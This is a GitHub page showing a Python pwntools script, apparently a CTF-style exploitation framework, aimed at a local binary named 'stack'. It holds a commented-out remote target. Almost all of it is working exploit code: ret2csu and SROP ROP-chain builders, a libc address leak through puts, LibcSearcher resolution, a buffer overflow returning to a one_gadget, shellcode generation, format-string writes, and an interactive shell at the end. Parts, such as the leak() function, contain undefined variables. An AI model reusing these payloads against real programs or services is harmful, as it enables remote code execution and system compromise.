-
Notifications
You must be signed in to change notification settings - Fork 0
/
Pwn_Framework.py
279 lines (264 loc) · 10.6 KB
/
Pwn_Framework.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
#-*-coding=utf-8-*-
import pwn
from pwn import *
from LibcSearcher import *
import os
import sys
symbols_list = ['system','read','write','printf','puts','gets','scanf','__isoc99_scanf','/bin/sh','/bin/bash','execve','main','__libc_start_main_ret','str_bin_sh','\x5f\xc3']
#============================================================================================#
def file_info(Bin, Libc):
print "#=================================================================================#"
info('Bin File Info : ')
os.system("file " + Bin)
os.system("ldd " + Bin)
print "\n"
info('Libc File Info : ')
os.system("file " + Libc)
os.system("ldd " + Libc)
print "#=================================================================================#"
def bin_info():
info("Bin Info : ")
info("Bin Load Addr: " + hex(elf.address))
print " "
info("Symbols Addr :")
for i in symbols_list:
try:
Current_Bin_Func = i
info(Current_Bin_Func + " " + str(hex(elf.symbols[str(i)])))
except:
null = ""
print " "
info("Got Addr :")
for i in symbols_list:
try:
Current_Bin_Func = i
info(Current_Bin_Func + " " + str(hex(elf.got[str(i)])))
except:
null = ""
print " "
info("String Symbols Addr :")
for i in symbols_list:
try:
Current_Bin_Func = i
info(Current_Bin_Func + " " + str(hex(next(elf.search(str(i))))))
except:
null = ""
print " "
#=================================================================================#
temp = ""
if Libc == "":
Warning("Not Libc File.")
else:
global libc
print "#=================================================================================#"
info("Libc Info : ")
libc = ELF(Libc)
info("Libc Load Addr: " + hex(libc.address))
#info("Libc Symbol Offset : " + os.popen('strings -a -tx /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"').read())
print " "
info("Symbols Offset :")
for i in symbols_list:
try:
Current_Libc_Func = i
info(Current_Libc_Func + " " + str(hex(libc.symbols[str(i)])))
except:
null = ""
print " "
info("String Symbols Offset :")
for i in symbols_list:
try:
Current_Libc_Func = i
info(Current_Libc_Func + " " + str(hex(next(libc.search(str(i))))))
except:
null = ""
print " "
#============================================================================================#
def srop(padding=0, arg1=0x000000, arg2=0x000000, arg3=0x000000, call_number=0x000000, syscall_ret=0x000000, ret_addr=0x000000):
#syscall(rax,rdi,rsi,rdx)
frame = SigreturnFrame(kernel='amd64')
frame.rip = syscall_ret # rip = syscall ret
#frame.rax = constants.SYS_write # Call Number
frame.rax = call_number
frame.rdi = arg1
frame.rsi = arg2
frame.rdx = arg3
frame.rsp = ret_addr # Ret Addr
io.recv()
spayload = "\x41" * padding # Padding
spayload += str(frame) # Frame Body
#spayload += p64(rax) # Set rax = 15
spayload += p64(syscall_ret) # Syscall ; ret
io.sendline(spayload)
# {
# sys_mprotect(buffer_page, 0x1000, 0x7)
# rax = 0xa
# rdi = buffer_page, rsi = 0x1000, rdx = 0x7
# rsp =buffer_address+304, rip = syscall;ret
# }
#constants.SYS_read, constants.SYS_write, constants.SYS_mprotect, constants.SYS_execve
# 0 sys_read unsigned int fd char *buf size_t count
# 1 sys_write unsigned int fd const char *buf size_t count
# 9 sys_mmap
# 10 sys_mprotect unsigned long start size_t len unsigned long prot
# 13 rt_sigaction
# 14 rt_sigprocmask
# 15 sys_rt_sigreturn unsigned long __unused
# 59 sys_execve const char *filename const char *const argv[] const char *const envp[]
def general_rop(padding=0, function=0x000000, arg1=0x000000, arg2=0x000000, arg3=0x000000, ret_addr=0x000000):
#rdi= edi = r13, rsi = r14, rdx = r15
io.recv()
payload = "\x41" * padding # padding
payload += p64(general_gg1) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload += p64(0) # Junk
payload += p64(0) # rbx = 0 ,rbx should be 0
payload += p64(1) # rbp = 1 ,enable not to jump
payload += p64(function) # pop r12 , call qword ptr [r12+rbx*8]
payload += p64(arg1) # pop r13 , rdi = edi = r13d
payload += p64(arg2) # pop r14 , rsi
payload += p64(arg3) # pop r15 , rdx
payload += p64(general_gg2) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload += "\x42" * 0x38 # 0x38
payload += p64(ret_addr) # Return Func Addr
io.sendline(payload)
def get_libc(function, address):
global one_gadget_addr, system_addr, bin_sh_addr, libc_start_main_ret_addr, libc_base
# Use Write Or Puts Or Printf Func Print Symbols addr
# Call get_libc Func
try:
libcsearch = LibcSearcher(function, address)
libc_base = address - libcsearch.dump(function)
bin_sh_addr = libc_base + libcsearch.dump("str_bin_sh")
system_addr = libc_base + libcsearch.dump("system")
one_gadget_addr = libc_base + 0x10a38c
libc_start_main_ret_addr = libc_base + libcsearch.dump("__libc_start_main_ret")
info("Found Libc base : " + hex(libc_base))
info("Found Str BinSh : " + hex(bin_sh_addr))
info("Found System : " + hex(system_addr))
info("Found One_gadget : " + hex(one_gadget_addr))
info("Found Libc_start_main_ret : " + hex(libc_start_main_ret_addr))
except:
null = ""
def recv_info(start_addr=0x0, offset=0x0):
global recv_addr
recv_addr = hex(u64(io.recv()[start_addr:start_addr + 8]))
recv_addr = int(recv_addr,base=16) - offset
print hex(recv_addr)
return recv_addr
def leak(addr):
try:
general_rop(136,elf.got['write'],1,addr,8,elf.symbols['main'])
content = io.recvline(8)
while True:
c = io.recv(numb=1, timeout=0.1)
count += 1
if up == '\n' and c == "":
content = content[:-1]+'\x00'
break
else:
content += c
up = c
content = content[:4]
print "From : " + addr + " Buffer : " + content
return content
except:
null = ""
# Function called in order to send a payload
def fmt_send_payload(payload):
log.info("payload = %s" % repr(payload))
io.sendline(payload)
return io.recv()
def ropchain():
try:
assembly = 'syscall; pop rdx; pop rsi; ret ; pop rdi ; int 0x80; pop rsi; pop rdx; ret ; pop rdi ; ret'
binary = elf
rop = ROP(binary)
bss = elf.bss()
#rpayload += rop.call('read', 0, bss_base, 100)
#rpayload += rop.dl_resolve_call(bss_base + 20, bss_base)
#rpayload += rop.string('/bin/sh')
#rpayload += rop.fill(20, buf)
#rpayload += rop.dl_resolve_data(bss_base + 20, 'system')
#rop.raw(sh)
# rop.read(0, 0x404048, next(elf.search("/bin/sh;")))
# rop.write(0, 0x404048, 8)
rop.call(Libc.symbols['system'],[next(Libc.search('/bin/date'))])
#rop.system(next(elf.search('/bin/bash')))
# rop.call(elf.symbols['system'],[next(elf.search('/bin/date'))])
info("ROP Dump : \n" + rop.dump())
rop_payload = "\x41" * 1032 + str(rop)
io.sendline("3")
io.sendline(rop_payload)
except:
null = ""
#=================================================================================#
Bin = "./stack"
Libc = '/lib/x86_64-linux-gnu/libc.so.6'
context.os = 'linux'
context.arch = 'amd64'
context.timeout = 1
#context.endian = 'little'
context.terminal = ['tmux', 'splitw', '-h']
shellcode = asm(shellcraft.linux.sh())
shellcode_x64 = asm(shellcraft.amd64.linux.sh())
context.log_level = 'debug'
file_info(Bin, Libc)
elf = ELF(Bin)
bin_info()
context.binary = Bin
print "#=================================================================================#"
#=================================================================================#
io = process(Bin)
#io = remote('192.168.145.131', 3333)
io.recv()
#=================================================================================#
# Example : RDI, RSI, RDX, RCX, R8, R9
# Example : eax, ebx, ecx, edx, esi, edi
# general gadget1:pop rbx; pop rbp; pop r12; pop r13; pop
# general gadget2:mov rdx, r13; mov rsi, r14; mov edi, r15d;
general_gg1 = 0x400606
general_gg2 = 0x4005F0
# general_rop(136,elf.got['read'],0,0x404080,16,elf.symbols['main'])
# srop(padding, arg1, arg2, arg3, syscall_ret, ret_addr)
# write(rdi=1, rsi=write.got, rdx=8)
# read(rdi=0, rsi=bss_addr, rdx=16)
# system(rdi = bss_addr+8 = "/bin/sh")
# sys_mprotect(buffer_page, 0x1000, 0x7)
#general_rop(136,elf.got['puts'],elf.got['write'],0,0,elf.symbols['main'])
general_rop(136,elf.got['puts'],elf.got['puts'],0,16,elf.symbols['main'])
get_libc("puts",recv_info(0x80+12,0x560a000000000000))
io.sendline("\x41" * 136 + p64(one_gadget_addr))
"""
# Create a FmtStr object and give to him the function
format_string = FmtStr(execute_fmt=fmt_send_payload)
format_string.write(0x1337babe, 0x0) # write 0x0 at 0x1337babe
format_string.execute_writes()
d = DynELF(leak, elf = elf)
try:
system_addr = d.lookup('system', 'libc')
read_addr = d.lookup('read', 'libc')
info("system : " + system_addr)
info("read :" + read_addr)
except:
null = ""
"""
#=================================================================================#
try:
while recv != "":
recv = io.recv()
except:
null = ""
sleep(0.1)
io.interactive()
#=================================================================================#
"""
# x86
# execve("/bin/sh", NULL, NULL)
# payload += p32(pop_edx_ecx_ebx_ret)
payload += p32(0x00) # edx
payload += p32(0x00) # ecx
payload += p32(bin_sh) # ebx
# payload += p32(pop_eax_ret)
payload += p32(0x0b) #eax
payload +=p32(int_80) #Int 0x80
# Call func way : [ call < push ret_addr , push argv1 , jmp system > ]
"""